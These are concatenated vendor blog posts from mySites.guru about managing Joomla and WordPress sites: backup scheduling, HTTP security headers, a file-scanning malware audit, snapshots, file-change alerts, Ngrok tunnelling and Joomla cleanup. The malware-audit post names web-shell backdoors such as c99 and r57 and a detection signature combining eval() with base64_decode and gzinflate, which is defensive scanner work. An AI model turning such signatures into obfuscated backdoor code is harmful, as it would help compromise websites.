mySites.guru uses Akeeba Backup under the hood, the best backup solution available for Joomla and WordPress, inside a centralised dashboard.

Akeeba has been around since 2006. Millions of downloads, high praise in the Joomla Extensions Directory, three J.O.S.C.A.R. awards. One goal: backup, restore and transfer your site in a snap. It supports WordPress too.

How does the mySites.guru backup scheduler work?

Scheduling backups across many sites has always been the annoying part of managing Akeeba. mySites.guru handles that as a centralised scheduler for all your connected sites.

If you have thousands of Joomla and WordPress sites in your dashboard, managing their Akeeba connections from one place just makes sense.

Connecting Akeeba to mySites.guru takes a single click. From there, pick the backup profile to run and set a schedule: daily, weekly, or monthly.

The backup overview dashboard shows each site's last backup date and status at a glance.

You can disable schedules, adjust them, or start backups across all your sites with one click.

How do you backup 1000 sites with one click?

mySites.guru queues all the sites and processes the backups as fast as your servers can handle.

Where are your backups stored?

Wherever you tell Akeeba to store them.

With Akeeba Backup profiles, you set the destination: Amazon S3, Dropbox, Azure, BackBlaze, Box.com, Rackspace, FTP, or your own server (though we don't recommend keeping them only on the server).

Are backups stored in mySites.guru?

No. Never. mySites.guru triggers and monitors your backups, but the files themselves live wherever you tell Akeeba to put them.

How do backup notifications work?

The scheduler notifies you based on your preferences: when a backup starts, when it finishes, and always when something goes wrong.

WordPress users: All-In-One Migration Plugin support

WordPress users aren't limited to Akeeba. You can also use the All-In-One Migration Plugin for your backups. The same scheduling interface and features are available in mySites.guru for that plugin too.

For guidance on fitting backups into a broader update and maintenance workflow, see the managing CMS updates at scale guide.

Start your free trial or run a free audit to see how mySites.guru handles backups across all your sites.

Backup All Your Sites With One Click

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

**Ok, I screwed up. I admit it and Im sorry. ** We recently introduced Unlimited Backup Schedules per site and in doing so introduced a logic bug that caused us to remove the "Backup All Sites" in one go feature.

Lets talk about that - tl;dr; The Backup All Sites button has returned!!! :-)

One of the things we do well is respond fast - to emerging hack threats, security incidents, and requests from customers. We can deploy new features the same day, sometimes multiple times a day, with zero downtime.

**This is one of those times. **

What caused the problem?

On implementing Unlimited Backup Schedules per site, we introduced a logic bug. This is caused because before that change, we stored a single Backup Profile per site.

This meant that when you clicked the "Backup all sites" we knew which of the unlimited backup profiles to run on each site.

When we introduced multiple schedules, you were then able to select a different backup profile per schedule, we no longer had a default profile per site, only a profile per schedule.

This meant that we could not provide a "backup all sites" feature, as we did not know which profile to run for each site!

What was the solution?

The solution was pretty simple really, we reverted some code to allow us to re-implement the "Backup All" button on the Schedules tab of the "Scheduled Backups" page

We then added new features to allow you to select a default backup profile per site. You can do this on the schedules page, or on the Settings Tab of Manage Site page.

You can still filter your sites before pressing the new "Start Backup Of All Sites Visible Below" button.

Once you click the button you get a chance to back out ;-)

one click of that blue button and we usher your request into our backup queue and process the backups as fast as we can - we will redirect you to see a list of your running backups where you can sit and watch them, or you can close your browser/browser elsewhere because the backups will continue regardless of your actions.

Thanks to all those that told us how valuable this feature was, and tested the new implementation. We ♥️ you!

Check your site's security headers

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

Your web server can send a handful of HTTP response headers that make life harder for attackers. Spoofing, XSS, clickjacking: these headers won't stop everything, but they raise the bar. mySites.guru checks eight of them on every snapshot, twice a day.

Which eight headers does mySites.guru check?

Content-Security-Policy - controls which resources the browser is allowed to load
Expect-CT - enforces Certificate Transparency requirements
Feature-Policy - flagged if present (this header is deprecated)
Permissions-Policy - the replacement for Feature-Policy
Referrer-Policy - controls how much referrer info is sent with requests
Strict-Transport-Security - forces HTTPS connections
X-Content-Type-Options - prevents MIME-type sniffing
X-Frame-Options - protects against clickjacking

What does each header actually do?

Content-Security-Policy (CSP)

CSP tells the browser which domains are allowed to serve scripts, styles, images, and other resources on your page. Without it, an attacker who finds an XSS hole can inject a script from anywhere and the browser will run it without question.

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

That says: only load resources from my own domain, only run scripts from my domain or my CDN, block everything else. Getting CSP right is fiddly. Too strict and you break your own site. Too loose and it's decoration. But even a basic policy beats having none.

Strict-Transport-Security (HSTS)

HSTS tells browsers to only connect over HTTPS, even if someone types http:// or clicks an old HTTP link. Without it, the very first request can be intercepted before the redirect to HTTPS kicks in.

Strict-Transport-Security: max-age=31536000; includeSubDomains

max-age is in seconds. 31536000 is one year. Once a browser sees this, it won't even try HTTP for that long. includeSubDomains covers your subdomains too.

X-Frame-Options

X-Frame-Options prevents your site from being loaded inside an iframe on someone else's domain. Why care? Clickjacking. An attacker loads your site in a hidden iframe, overlays it with something innocent-looking, and tricks users into clicking buttons on your site without realising it - changing passwords, making purchases, whatever.

X-Frame-Options: SAMEORIGIN

SAMEORIGIN means your own site can still iframe itself (useful for admin panels and previews) but nobody else can. DENY blocks all framing, including from your own domain.

Content-Security-Policy vs X-Frame-Options

CSP has a frame-ancestors directive that does the same job as X-Frame-Options, and it's more flexible. But older browsers don't support frame-ancestors, so the recommendation is to set both. They don't conflict - browsers that understand CSP use frame-ancestors, older ones fall back to X-Frame-Options.

X-Content-Type-Options

Browsers sometimes try to be clever and "sniff" the content type of a response instead of trusting the Content-Type header. An attacker can exploit this by uploading a file that looks like an image but contains JavaScript - the browser sniffs it, decides it's a script, and executes it.

X-Content-Type-Options: nosniff

One value. Tells the browser to trust the declared content type and stop guessing. Just set it.

Referrer-Policy

When someone clicks a link from your site to another site, the browser sends a Referer header (yes, the HTTP spec misspelled "referrer" in 1996 and we're stuck with it) telling the destination where the click came from. That can leak URL paths, query parameters, or session tokens you'd rather keep private.

Referrer-Policy: strict-origin-when-cross-origin

strict-origin-when-cross-origin sends just the origin (https://yoursite.com) on cross-origin requests but strips the path. Same-origin navigations still get the full URL, so your own analytics aren't affected.

Permissions-Policy

Permissions-Policy controls which browser APIs your site can use: camera, microphone, geolocation, payment, autoplay, and plenty more. If you don't use the camera, disable it. If someone manages to inject code into your page, they still can't turn on the webcam.

Permissions-Policy: camera=(), microphone=(), geolocation=()

Empty parentheses () means "nobody, not even this page." You can also allow specific origins if you need them.

This header replaced the older Feature-Policy header. If your site still sends Feature-Policy, mySites.guru will flag it - you should switch to Permissions-Policy instead.

Expect-CT

Expect-CT was supposed to ensure that certificates for your domain show up in Certificate Transparency logs, catching misissued or rogue certs.

Browsers have made this header redundant. Chrome dropped Expect-CT support entirely, and other browsers enforce Certificate Transparency by default now. mySites.guru still checks for it, but this one's a footnote. Focus on the other seven.

How do you check your headers without an account?

If you want a quick standalone check, securityheaders.com is a good tool. We link to it throughout the mySites.guru snapshot checks too.

Headers are one layer of defence. For file-level detection of existing compromises, the suspect content tool scans your entire webspace for malware, backdoors, and suspicious code patterns. Headers are one of over 140 things mySites.guru checks on each site, from file-level security audits to PHP config to SSL certificates. All visible from your dashboard.

Security headers are covered in our full agency security guide.

White-Label Client Reports for Your Sites

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

We've just launched the Custom Report Designer for the white-label reporting tool in mySites.guru.

This feature allows you to create UNLIMITED (unlimited, as is everything in mySites.guru) custom templates for your reports, which can then be assigned to your scheduled (and manually run) report configurations.

You can use this feature to:

Create a custom layout, with your own logo, fonts, styles, colours
Move around the sections in the reports
Remove or add sections
Create one layout and reuse it on multiple reports
Centrally manage all your custom templates for reports

Our reports are all HTML. You know HTML. The world knows HTML. There are good reasons we chose HTML over PDF, doing so gives you COMPLETE CONTROL, using tools you know, over the look and feel!

This gives you the ability to brand the reports to your own brand. Combined with removing the WordPress logo from the admin bar, you can deliver a fully white-labelled experience to clients.

What if I already had customised templates?

Dont panic! We migrated your custom templates into the new Custom Report Designer, and reassigned those back to your report configs.

You can find them your customised templates on the Custom Report Designer page in your account.

BONUS: You can even send the emails from YOUR email address, so when they arrive at your clients, there is no mention of mySites.guru (or phil@phil-taylor.com!)

Thats right, just set your DNS correctly to ensure deliverability (we walk you through that) and then you are all set!

Client reporting is covered in depth in our agency multi-site management guide.

End-of-Life Version Support in mySites.guru

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

In a perfect world, every site would run the latest version of Joomla or WordPress. In practice, plenty of sites are stuck on old releases. Sometimes very old ones. mySites.guru was built with that in mind.

How Far Back Does mySites.guru Support Joomla Versions?

Most management services only work with recent Joomla releases. mySites.guru connects to every version from Joomla 1.5.0 onwards. The full 1.5, 2.x, 3.x, 4, 5, and 6 series, all with a single plugin.

Joomla 1.5.0 was released in January 2008. The final 1.5.x release (1.5.26) came out in 2012. To support versions that old, our plugin has to stay compatible with PHP 5.3.9+. That took real work to get right.

If you still have Joomla 3 sites, mySites.guru has a tool to fix known Joomla 3 security issues with a single click. Worth running on anything that hasn't been migrated to Joomla 4+ yet.

Does mySites.guru Track WordPress Versions?

mySites.guru tracks WordPress version support too and flags sites that fall behind. WordPress has had automatic updates for years, so there are fewer ancient installations compared to Joomla. But outdated WordPress sites absolutely still exist, and they get targeted. Version bumps like the WordPress 7.0 requirements change (which drops PHP 7.2/7.3 entirely) can also leave sites stranded on old branches if you're not tracking PHP versions across your portfolio.

Why Should You Upgrade Immediately After a Release?

Every Joomla or WordPress release includes notes about the security issues it fixes. Once that information is public, attackers start probing sites that haven't updated yet. The common advice to "wait a few days to see if anything breaks" is exactly backwards. Those first few days after a release are when your site is most exposed.

Keep everything up to date across all your sites, run regular security audits, and let mySites.guru tell you when something falls behind.

Version lifecycle management is covered in our CMS updates guide.

Find Hacks and Backdoors in WordPress & Joomla

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

The mySites.guru suspect content tool scans every file in your webspace for malware, backdoors, and suspicious code - without exception. It's the most-used tool in the mySites.guru audit suite.

If you already know your WordPress site has been hacked or your Joomla site has been hacked, skip straight to our step-by-step recovery guides. Not sure if you've been hacked? Read how to tell if your WordPress site is compromised first. Or if you just want to scan your files, our WordPress malware scanner can check and tell you what's there.

The average number of files across the 80,000+ sites connected to mySites.guru is just under 20,000. The suspect content tool narrows that down to a handful of files worth looking at.

How the mySites.guru audit gathers data

The process starts with a mySites.guru audit. This gathers information on every file in your webspace without exceptions. The audit runs in the background - start it and come back later.

You can schedule audits to run on any frequency, or trigger them on demand. At the start of every audit, we also run the snapshot tools, which add over 100 quick checks on top of the full file scan.

The audit compiles a complete list of every folder in your webspace, then lists every file in those folders.

For each file, the audit:

Checks whether it belongs to the Joomla or WordPress core
If it's a core file, verifies it hasn't been modified since release and diffs it against the original
Saves the md5 hash for future comparisons
Scans every line against nearly 2000 known hack patterns, labelling matches as "suspect"
Checks the full file hash against a database of 14,000+ confirmed hacked file hashes - no false positives, each hash is manually validated
Examines file metadata including creation and modification dates, plus EXIF data on images (a common hiding place)
Identifies encrypted files, PHP error logs, archives, files over 2MB, zero-byte files, and other anomalous classifications (learn why archive files and SQL dumps are security risks)

When the audit finishes, you get a notification to log in and review the results. The screenshot below shows the first three sections of the audit tab.

Every line in every file

Most "scanners" check the rendered output of your site - what a browser sees. The mySites.guru audit checks the actual files on disk. That includes files not used in rendering at all: dormant backdoors can sit in a webspace for years before a hacker returns to use them. Hackers also use dot-prefixed filenames because most file managers hide them by default - hidden files are a blind spot that deserves its own audit.

Suspect content matching

The audit has two main detection methods:

Regex patterns - over 2000 patterns built from hacks seen on real Joomla and WordPress sites, including recent and mutated variants. A match labels the file as "suspect". There will be false positives by design.
Whole-file hash matching - a full md5 match against confirmed backdoor hashes marks the file as definitively [HACKED], shown with a red label. These are typically backdoor files we've seen before on other sites.

Complete file matching with MD5 hashes

When we find a backdoor (c99, r57, or any confirmed hacked file), we store the md5 hash of the entire file. On the next audit of any site connected to mySites.guru, we check for that hash. A match gets a red [HACKED FILE] flag in the audit results.

There are no false positives here. A hash match is a confirmed hacked file.

Over 2,000 regex patterns

The second detection layer uses regex: over 2000 patterns built up over a decade, updated daily. They catch common malware signatures like eval() combined with base64_decode and gzinflate, plus dozens of other patterns.

Regex patterns also find partial hacks - where malicious code has been injected into an otherwise legitimate file, rather than the whole file being a backdoor.

Not every match is a hack, and that's intentional. PHP is used by both legitimate code and by attackers, so some patterns overlap. We work to keep the false positive rate low, but the tool is deliberately inclusive. The result: instead of combing through 20,000 files yourself, you review a handful that the audit flagged.

Just a small number of regex patterns we match on

Reducing your time looking for hacks

The average site across the 63,000 connected to mySites.guru has 19,882 files. The audit narrows that down to a short list worth checking, with a built-in interface to view the exact flagged lines - no FTP client needed.

Click any file name to preview the suspect section, along with the file's modification date, size, and permissions. You can edit the file directly in mySites.guru and save it back to the server, or delete the whole file with a single click.

Crowd-sourced data model

After every audit, anonymous data on suspect files goes into a review queue. After manual validation, new patterns and hashes are added to the detection model. This means a hack found on one connected site gets added to the checks run on every other site on the next audit.

It also lets us track waves of infection and detect new and mutated variants earlier.

Detection improves daily

We run over 3000 audits per day, which keeps the detection model current. We find over 200 hacked sites a week. When the Astroid Framework vulnerability was exploited in early March 2026, for example, the suspect content scanner was already flagging the BLPayload backdoor plugins and hacklink cache files across affected sites.

What about false positives?

Not everything that matches our patterns is a hack. This is by design. PHP is used by both legitimate code and by attackers, so some patterns overlap. We keep the false positive rate as low as we can, but we deliberately err on the side of showing you more rather than less.

Can I whitelist files or folders?

No. Whitelisting is not permitted.

You will get false positives, and that’s expected. When pattern matching isn’t enough to make a call, you can ask me to take a look, or use the AI malware analysis tool to triage suspect files in seconds.

We removed whitelisting after a user whitelisted everything, missed a genuine hack, and sued us. After legal fees we were £14,000 out of pocket. The crowd-sourced data model also means user-supplied whitelists degrade the detection quality for everyone else. I’m the only one who whitelists anything now, and I do it rarely.

Comparison to external scanners

Most services that claim to have an “audit” tool have implemented the Sucuri SiteCheck API, which scans your site as a visiting browser would. It doesn’t check the files in your webspace and won’t find anything hidden below the rendered output. Not all “audits” are equal.

Current limitations

We don't currently scan database tables for malware, which means we can miss WordPress SQL-injected posts. That's on the roadmap.

Out of your depth? Need help?

If the audit finds your site is hacked and you'd rather not deal with it yourself, you can hand it over at fix.mysites.guru for a set-fee hack fix.

Read more in our complete agency security guide.

Quick Snapshot of All Your Sites

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

The mySites.guru snapshot runs automatically twice a day - or on demand - across every site in your account. Over 140 data points, collected in seconds. PHP version, CMS config, user accounts, security headers, the lot.

It's not a photo of your site. It's a fast check of what's configured properly and what isn't.

What exactly is the mySites.guru snapshot?

Within mySites.guru, where you can add unlimited Joomla and WordPress sites to your account, you'll see two main areas of checks on the Manage Site page: the Snapshot and the Audit.

The snapshot checks complete within milliseconds. The audit goes deeper - inspecting every line of code in every file on your webspace - so it takes longer.

Both give you a long list of best-practice checks and flag the things that need attention.

The snapshot covers your platform (Joomla/WordPress) configuration, writing settings, discussion settings, user accounts and access, plugins and extensions, file information, database integrity, and hosting environment.

Each check displays the current status on your site, the trend (whether it's changed, increased, or decreased), a Learn More button, and either a quick toggle or a link to the investigation page where you can dig into the reported issue and fix it.

<div class="not-prose rounded-lg border border-neutral-200 dark:border-neutral-700 bg-neutral-50 dark:bg-neutral-800/50 p-4 flex gap-3 items-start text-sm"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512" class="w-5 h-5 shrink-0 fill-neutral-500 dark:fill-neutral-400 mt-0.5"><path d="M256 48a208 208 0 1 1 0 416 208 208 0 1 1 0-416zm0 464a256 256 0 1 0 0-512 256 256 0 1 0 0 512zM216 336l-24 0 0 48 128 0 0-48-32 0 0-112-96 0 0 48 48 0 0 64-24 0zm72-144l0-64-64 0 0 64 64 0z"/></svg> <p class="text-neutral-700 dark:text-neutral-300 m-0">The screenshots below are from an older version of the interface. We've since redesigned the dashboard, but the process works the same way.</p> </div>

Can You Resolve Problems with a Single Click?

Some of the Discussion Settings checks for WordPress:

On the right you can see that these checks can be resolved with a toggle switch - a single click and your site is following best practice again.

How Often Does the Snapshot Run?

Once a site is connected to mySites.guru, the snapshot data refreshes automatically twice a day. Hit "Take a new snapshot" any time you want fresh data.

A huge number of checks

We check everything we consider best practice for secure and well-configured websites. You might not agree with every recommendation, and that's fine.

One section of the Joomla snapshot:

And the full page view (if you have good eyesight):

That's just some of the snapshot checks.

What Other Features Does the Snapshot Power?

At the end of each snapshot, mySites.guru gathers a list of your extensions, plugins, templates, and themes, then checks each one for available updates. This data feeds into tools like the Active Theme and Template List, which lets you see and compare every site's template across your entire portfolio.

Depending on your settings, you can enable automatic updates for these - but that's a topic for another post.

The snapshot also captures your site version, PHP version, and other environment details that feed into the dashboard overview. For Joomla 5 and 6 sites, it checks for locked scheduled tasks that can silently break background jobs like update notifications and backups.

Can the Snapshot Identify Hacks?

The snapshot isn't designed to find hacks - that's the security audit's job. But it does catch things. We push new checks frequently, and when we spot attack trends, we add checks for those too.

For example, there was a specific attack that created usernames matching the pattern Joomla.user.helper.XXXX. You probably wouldn't notice one suspicious username among thousands of users - but the mySites.guru snapshot would, flagging it for you to investigate.

For a broader look at the security checks behind the snapshot, see the WordPress and Joomla security guide.

Get Expert Help for Your Sites Instantly

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

Got a WordPress or Joomla problem and need expert help today? Phil Taylor is available for hire with set fees over at fix.mySites.guru.

Phil is the developer behind mySites.guru and a long-term contributor to WordPress, Joomla, and Symfony - some of the biggest open source projects around.

Is your site broken? Hacked?

Get immediate help to fix your Joomla or WordPress site today. Phil Taylor, founder of mySites.guru, charges set fees to fix sites - not hourly rates.

What Is Included?

A typical fix request covers one or more of the following:

Fix of your hacked site
Upgrade to the latest version if needed
Debug and fix PHP error messages
Debug and fix White Screen of Death
Debug and fix a specific issue you describe
Investigation of a web hosting issue, with report
Fixing PHP configuration and settings
Debugging error messages and site crashes
Advice and consultancy on the issue

Set fee charged - not per hour. Most smaller issues are a one-time set fee of GBP 120.

Non-subscribers get a free month of mySites.guru included with every fix. All results are explained in plain English, and your credentials are encrypted and timeboxed.

Same-day resolution on average.

What Don't We Do?

Ongoing project work
Website builds from scratch
Plugin or extension development
Template design (contact Lee Tempest for that)

Who Is Phil Taylor?

The person behind this service is Phil E. Taylor, founder of mySites.guru and long-term contributor to the Joomla project, WordPress, and Symfony. Phil's strongest skill is debugging - getting to the root of a problem. Once the root issue is identified, the fix is normally straightforward. That experience is why he can offer a set fee rather than open-ended hourly billing.

When your team has hit the limit of what they can figure out - after several days of head-scratching or when people are out of their depth - that's when to get in touch. Submit a request through the secure work request form and Phil can get started the same day.

Real-Time Alerts for File Changes & Logins

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

mySites.guru is more than a suite of tools for managing multiple WordPress sites. Used by over 74,000 Joomla and WordPress sites, it also sends you real-time alerts when something happens on your sites - an admin login, a config change, a file that shouldn't have been touched.

Real-time alerting triggers

Your site notifies mySites.guru based on the preferences you configure: someone logging into the admin console, saving Global Configuration, or other triggers you care about.

We're always looking to add more triggers - if you have ideas, let us know.

The available real-time triggers for Joomla and WordPress sites

Near real-time file monitoring

You can opt in to have specific files monitored on your site. When a monitored file is modified, your site informs mySites.guru and you get an alert.

This is "near real-time" because the check runs on every page load. If someone edits a file through the Joomla or WordPress admin, the alert fires immediately - the page request that saves the change is also the page request that detects it. The only time there's a delay is if someone modifies a file over FTP and nobody visits the site for a while. Same idea as WordPress's web-cron.

You can add unlimited files to the watch list, but in practice a short list of important files is enough - your configuration file, template files, and other files hackers tend to target. Not sure which files to monitor? Start by understanding what hidden files are already in your webspace - some of them may surprise you.

How the MD5 hash check works (the .myjoomla.configuration.php.md5 file)

If you've looked at your Joomla site's file system and found a file called .myjoomla.configuration.php.md5, that's the mySites.guru plugin doing its job. This is what it does.

When you enable real-time file monitoring for configuration.php (or any other file), the mySites.guru plugin calculates the MD5 hash of that file and writes it to a companion file. For configuration.php, the companion file is .myjoomla.configuration.php.md5. It contains nothing but the 32-character MD5 hash string of the file contents at the time it was last checked.

On every single page load - front-end or back-end, any visitor, any page - the plugin recalculates the MD5 hash of configuration.php and compares it to the hash stored in .myjoomla.configuration.php.md5. Two outcomes:

Hashes match: The file hasn't changed. Nothing happens. The check adds negligible overhead - calculating an MD5 of a small config file takes microseconds.

Hashes don't match: The file has been modified since the last check. The plugin immediately sends a notification to mySites.guru, which fires an email alert to you (and any team members who have alerts enabled for that site). The plugin then updates .myjoomla.configuration.php.md5 with the new hash, so the next page load won't trigger a duplicate alert for the same change.

This works the same way for every file you add to the watch list. If you monitor index.php, you'll get a .myjoomla.index.php.md5 file. Monitor wp-config.php on a WordPress site and you'll get the equivalent companion hash file from the mySites.guru WordPress plugin.

Why configuration.php matters

configuration.php is one of the most important files on a Joomla site. It contains your database credentials, secret keys, error reporting settings, cache configuration, and tmp/log paths. If a hacker modifies this file, they can redirect your database connection, disable error reporting to hide their tracks, or change your tmp path to a location they control.

Getting an alert the instant configuration.php changes means you know about it before the hacker has time to do anything else. You don't need to wait for a scheduled scan or manually check your files - the next page load catches it.

Is it safe to delete .myjoomla.configuration.php.md5?

Yes, deleting it won't break your site. But the mySites.guru plugin will recreate it on the next page load and treat the file as if it's being monitored for the first time. You won't get a false alert - it simply recalculates the hash and stores it fresh. If you want to stop monitoring a file entirely, remove it from the watch list in your mySites.guru dashboard instead of deleting the hash file on disk.

Can You Whitelist Your Own IP?

You can whitelist IP addresses so your own changes don't trigger false alarms. The same principle applies to uptime monitoring - whitelisting our monitoring IP prevents your server's firewall from blocking the uptime checks.

SSL expiration alerting

mySites.guru has included SSL certificate expiration alerts since 2012. If your SSL certificate is approaching expiration, you'll get an alert based on your preferences. You can also set the number of grace days before the alert fires.

Send alerts to multiple people with team members

If you want alerts to go to more than one person, add team members to your account. Each team member can set their own notification preferences per site. You can also impersonate team members and configure their preferences on their behalf.

Alerting is one piece of what mySites.guru does - check the full feature list, or run a free security audit on one of your sites to see it in action.

Real-time alerting is a core feature in our monitoring and alerting guide.

Audit local sites or sites behind firewalls with mySites.guru

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

mySites.guru works with any site it can reach over the internet. That normally means live production sites, but with a tunnelling tool you can also connect local development sites, staging environments, or sites behind corporate firewalls and NATs.

Below we'll use Ngrok, but Expose and Cloudflare Tunnel work the same way.

Why would you want to do this?

A few common scenarios:

You're building a site locally and want to run a security audit or snapshot before it goes live
You're cleaning up a hacked site locally and want to verify the hack is fully removed before pushing it back to production
You need to audit an intranet or server behind a corporate firewall that isn't normally accessible from the internet
You want to test uptime monitoring or real-time alerts against a staging environment

How Does Tunnelling Work?

Tunnelling tools create a secure connection between your local machine and a public URL. When mySites.guru connects to that URL, the traffic is routed through the tunnel back to your local web server. From mySites.guru's perspective, it looks like any other live website.

Most tunnelling tools also provide a valid SSL certificate automatically, so even if your local site runs on plain HTTP, the public URL will be HTTPS.

<div class="not-prose my-6 rounded-lg border border-amber-200 bg-amber-50 p-4 dark:border-amber-800 dark:bg-amber-950"> <p class="font-medium text-amber-900 dark:text-amber-200">⚠️ Your site becomes publicly accessible</p> <p class="mt-1 text-sm text-amber-800 dark:text-amber-300">While the tunnel is running, anyone with the URL can access your local site. The tunnel closes the moment you stop the tool. If this concerns you, paid plans on most tools let you restrict access by IP address - you can limit it to <a href="https://manage.mysites.guru/public/ips" class="underline">mySites.guru's IP addresses</a> only.</p> </div>

How Do You Set Up with Ngrok?

Ngrok is the most widely used tunnelling tool. It has free and paid tiers.

1. Install and authenticate

Download Ngrok for your operating system and install it. Then authenticate with your account token:

ngrok authtoken <YOUR_AUTH_TOKEN>

You'll find your auth token on the Ngrok dashboard after signing up.

2. Start a tunnel

If your local site runs on port 80:

ngrok http 80

If it runs on a different port (e.g. 8080):

ngrok http 8080

If your local site uses a hostname like https://myhackedsite.local:8081:

ngrok http https://myhackedsite.local:8081

You'll see output like this:

The HTTPS URL shown (e.g. https://c8b94007b63b.ngrok.io) is what you'll give to mySites.guru.

3. Connect to mySites.guru

Take the HTTPS URL from Ngrok and add it as a site in your mySites.guru account, just like you would any live site.

<div class="not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950"> <p class="font-medium text-blue-900 dark:text-blue-200">ℹ️ Subscription requirement</p> <p class="mt-1 text-sm text-blue-800 dark:text-blue-300">You need an unlimited-sites subscription to connect tunnel URLs. Free trial, disposable, and single-site accounts cannot use tunnel URLs - this prevents fraud and abuse.</p> </div>

4. When you're done

Press Ctrl+C in the terminal to stop the tunnel. Your local site immediately becomes inaccessible from the internet.

On the free Ngrok tier, the URL changes every time you start a new tunnel. If you want a persistent URL, upgrade to a paid plan and reserve a custom domain.

If you're using WordPress and running into issues with Ngrok, check the WordPress-specific notes in the Ngrok docs.

What Are the Alternatives to Ngrok?

Ngrok is the most widely used option, but there are good alternatives.

Expose

Expose is a tunnelling tool written in PHP. It works the same way as Ngrok: install it, run a command, and get a public URL for your local site.

expose share http://localhost:8080

Expose has a free hobby tier with time-limited sessions and random URLs. The Pro plan ($79/year) adds persistent URLs, custom domains, and access to global servers. If your stack is PHP-heavy, Expose feels like a natural fit. It also integrates with Laravel Herd if you use that for local development.

Cloudflare Tunnel

If you already use Cloudflare for DNS, Cloudflare Tunnel (formerly Argo Tunnel) can expose local services through your existing Cloudflare setup. It's free for personal use through the Zero Trust dashboard.

cloudflared tunnel --url http://localhost:8080

The main advantage is that traffic stays within Cloudflare's network, and you can layer on their access policies for authentication. The trade-off is more setup than Ngrok or Expose.

Tailscale Funnel

Tailscale Funnel lets you expose a local service to the internet through Tailscale's network. It's free with a Tailscale account. Good if you already use Tailscale for your VPN.

All of these work with mySites.guru. The only requirement is that the tool gives you a public HTTPS URL that mySites.guru can reach.

What Can You Do Once Connected?

Once connected, your local site gets the full mySites.guru toolset - security audits that scan every file for hacks, snapshots for best-practice checks, file monitoring for real-time change alerts, and uptime monitoring if you want to keep tabs on a staging environment.

mySites.guru doesn't know or care that the site is running on your laptop. It treats it the same as any live production site.

Local auditing fits into the broader security workflow in our agency security guide.

Remove Fluff Files After Joomla Updates

phil@mysites.guru (Phil Taylor) — Mon, 11 Mar 2024 00:00:00 GMT

What is fluff??? – Unneeded files that Joomla distributes that you can safely remove from your site.

Remove the joomla fluff after each update

Lots of people asked us to remove “Fluff files” automatically on upgrading Joomla – well, you can now opt in for this on the Settings Tab of your Manage Site pages in your account at https://mysites.guru. If you're on Joomla 5.4+, you should also check whether automated core updates are enabled on your sites, since those can trigger updates (and leave fluff behind) without anyone touching the admin panel.

Removing these files won't damage your site - it just tidies up your webspace. There's no risk in leaving them, but removing them is good practice.

You can check the status of these files at any time on the Snapshot Tab.

After a snapshot is taken in mySites.guru, we display the number of files that are found in the snapshot results page

The "Learn More" button explains the check and the technical details. The "Investigate" button deletes the fluff files from your site.

The files which we will remove are:

/.appveyor.yml
/.drone.yml
/.editorconfig
/.git-blame-ignore-revs
/.gitignore
/.php-cs-fixer.dist.php
/.travis.yml
/build.xml
/CHANGELOG.php
/CODE_OF_CONDUCT.md
/configuration.php-dist
/CONTRIBUTING.md
/COPYRIGHT.php
/CREDITS.php
/cypress.config.dist.js
/htaccess.txt
/INSTALL.php
/joomla.xml
/LICENSE.php
/LICENSE.txt
/LICENSES.php
/package.json
/package-lock.json
/phpunit.xml.dist
/phpunit-pgsql.xml.dist
/README.md
/README.txt
/renovate.json
/robots.txt.dist
/ruleset.xml
/travisci-phpunit.xml
/web.config.txt
/images/banners/osmbanner1.png
/images/banners/osmbanner2.png
/images/banners/shop-ad-books.jpg
/images/banners/shop-ad.jpg
/images/banners/white.png
/images/headers/blue-flower.jpg
/images/headers/maple.jpg
/images/headers/raindrops.jpg
/images/headers/walden-pond.jpg
/images/headers/windows.jpg
/images/joomla_black.gif
/images/joomla_black.png
/images/joomla_green.gif
/images/joomla_logo_black.jpg
/images/powered_by.png
/images/sampledata/fruitshop/apple.jpg
/images/sampledata/fruitshop/bananas_2.jpg
/images/sampledata/fruitshop/fruits.gif
/images/sampledata/fruitshop/tamarind.jpg
/images/sampledata/parks/animals/180px_koala_ag1.jpg
/images/sampledata/parks/animals/180px_wobbegong.jpg
/images/sampledata/parks/animals/200px_phyllopteryx_taeniolatus1.jpg
/images/sampledata/parks/animals/220px_spottedquoll_2005_seanmcclean.jpg
/images/sampledata/parks/animals/789px_spottedquoll_2005_seanmcclean.jpg
/images/sampledata/parks/animals/800px_koala_ag1.jpg
/images/sampledata/parks/animals/800px_phyllopteryx_taeniolatus1.jpg
/images/sampledata/parks/animals/800px_wobbegong.jpg
/images/sampledata/parks/banner_cradle.jpg
/images/sampledata/parks/landscape/120px_pinnacles_western_australia.jpg
/images/sampledata/parks/landscape/120px_rainforest_bluemountainsnsw.jpg
/images/sampledata/parks/landscape/180px_ormiston_pound.jpg
/images/sampledata/parks/landscape/250px_cradle_mountain_seen_from_barn_bluff.jpg
/images/sampledata/parks/landscape/727px_rainforest_bluemountainsnsw.jpg
/images/sampledata/parks/landscape/800px_cradle_mountain_seen_from_barn_bluff.jpg
/images/sampledata/parks/landscape/800px_ormiston_pound.jpg
/images/sampledata/parks/landscape/800px_pinnacles_western_australia.jpg
/images/sampledata/parks/parks.gif

Please note, just because we call the License file fluff, doesnt mean we believe the license Joomla is distributed under is fluff – just to be clear 🙂 The GPL recommends that the text of the license is distributed with the Open Source of the product, but you don’t need it there cluttering up your webspace.

We did try to get the Joomla project to see sense, but failed 😉

Can You View Fluff File Status Across All Joomla Sites?

The Ultimate Toolset at mySites.guru allows you to view how many fluff files are on each Joomla site at a glance also. like this:

View the fluff files in Joomla across many sites

Does mySites.guru Check Technical Requirements Too?

Planning an upgrade? mySites.guru can check whether your sites meet the technical requirements for Joomla 5 and Joomla 6 before you hit the update button - across all your connected sites at once.

What About Hidden Files?

